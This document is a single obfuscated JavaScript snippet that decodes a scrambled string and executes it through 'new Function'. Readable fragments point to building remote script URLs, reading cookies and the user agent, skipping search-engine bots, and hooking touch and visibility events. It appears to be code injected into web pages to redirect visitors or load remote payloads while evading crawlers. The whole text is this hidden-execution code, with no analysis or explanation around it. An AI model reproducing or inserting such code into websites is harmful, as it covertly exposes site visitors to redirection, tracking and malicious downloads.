TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();